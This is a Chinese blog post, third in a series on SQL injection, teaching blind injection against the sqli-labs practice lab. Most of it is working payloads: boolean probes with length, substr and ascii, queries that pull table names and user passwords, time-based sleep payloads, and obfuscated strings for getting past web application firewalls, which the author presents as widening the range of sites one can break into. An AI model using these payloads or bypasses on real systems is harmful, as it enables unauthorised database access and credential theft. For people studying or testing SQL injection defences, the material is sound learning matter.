sql注入杂谈（三）--盲注

淡淡的烟草味﹌ 2023-07-17 04:42 59阅读 0赞

再讲文章之前，先说说，文章里面被标红的字段，是加了反引号的，（因为被csdn和谐了）还有\*号也被和谐了，我是用的※来代替  
前面2章已经讲过了union select 以及报错注入的语法以及简单的绕狗方法，现在我来谈谈我对于盲注的看法，网上把盲注的种类分了几种，我在这里就不分了，我就把我自己目前掌握的方法都记录下来，绕狗的一些心得。顺带一提，其实我的盲注其实是很菜的，但是盲注确是很厉害的，因为能union select注入和报错注入的网站，肯定能盲注，但是盲注的网站不一定能用union select以及报错注入拿下，意思就是掌握盲注其实能日的站要广一些。

首先讲讲盲注一些基础的东西，其实我们才学sql注入有的讲师将盲注，就会讲一些很基本的函数，比如left ,length，substr等，盲注函数三剑客。但是只掌握这3个函数，对于我们盲注来说，只能玩玩sqli-labs，其实盲注配合burpsuit基于fuzz看长度来做，为提高很高的效率，不说p话了。

and length(database())=8%23–+ //我们用这个来看看网站当前数据库的长度。如果有waf，一套组合拳

127.0.0.1/sql/Less-1/?id=1’ %0b/※!%26%26※/%0b!!!%23%0aleNGth(database/※※/(/※※/))=8%23–+ //看数据库的长度  
![length的绕过][length]  
然后同样的left函数我们也可以这样绕过

接下来我就讲讲substr这个函数，以及怎么样绕过  
and substr((select database()),3,1)=‘c’ --+ //遍历3得到数据库的名字，security  
and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),2,1))>109–+ //得到表 红色的为第一个表的第二字字母，紫色的为第几个表  
and 1=(select 1 from information\_schema.columns where table\_name=‘users’ and column\_name regexp ‘^password’ limit 0,1)–+ //查看users表里的字段，password也可以换成username  
and ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68–+ //爆破user表里的password的字段，红色的为Dumb，紫色的为i-kill-you  
关于绕狗的几点建议  
1.我们首先也可以大小写绕过 suBStr这样

2.函数替代，其实我们的sunstr = substring

3.利用内联注释

4.反引号

5.特殊符号

6.增加函数

and IFNULL((substr((select database()),1,1)=‘s’),0) --+ //增加一个infull函数

and strcmp((substr((select database()),3,1)=‘c’),1)–+ //增加一个strcmp函数

and 0=strcmp((substr((select user()),2,1)=‘o’),0)–+ //这是对于strcmp函数的变形

接下来看绕狗的payload:%0b/※!%26%26\*/%0b!!!%23%0a ascii(sUbstRIng((select table\_name from (`information_schema`./※※/tables) where table\_schema=database/※※/(/※※/) limit 0,1),2,1))>103–+  
![绕过的payload][payload]  
![绕过的payload][payload 1]  
然后是case when来绕过

and case when (substr((select user()),1,1)=“r”) then sleep(3) else 1 end–+ //用when case绕过

%0b/※!50000|※/%0b!!!/※!case※/%23–hex()%0awhen (sUbsTrinG((select user/※※/(/※※/)),1,1)=“r”) then sleep(3) else 1 end/*!13440*/–+ //这里就不截图了，但是回显的时间正确的明显比错误的常

利用if来绕过

and If(ascii(length(database()))=56,1,sleep(5))–+ //绕过的payload如上面所演示

基于这一类，我们可以结合burpsuit，就不用等回显，我们直接看长度  
![利用burpsuit来看length][burpsuit_length]

绕过的方法也如上

因为我的盲注也很弱，所以基于绕过盲注的方法也只有这么一点，但是我还是希望这几篇文章能够帮到一些刚刚学习sql注入的朋友，文章如有错误，还请各位看官斧正.

[length]: /images/20230528/d646d278650a441fbf8d36ff348c34ae.png
[payload]: /images/20230528/873007cd1af44fc591163013815a98b2.png
[payload 1]: /images/20230528/637c300d9e2a4871a4b85f96ff4c2965.png
[burpsuit_length]: /images/20230528/06e6417f867541379217af4f4827478e.png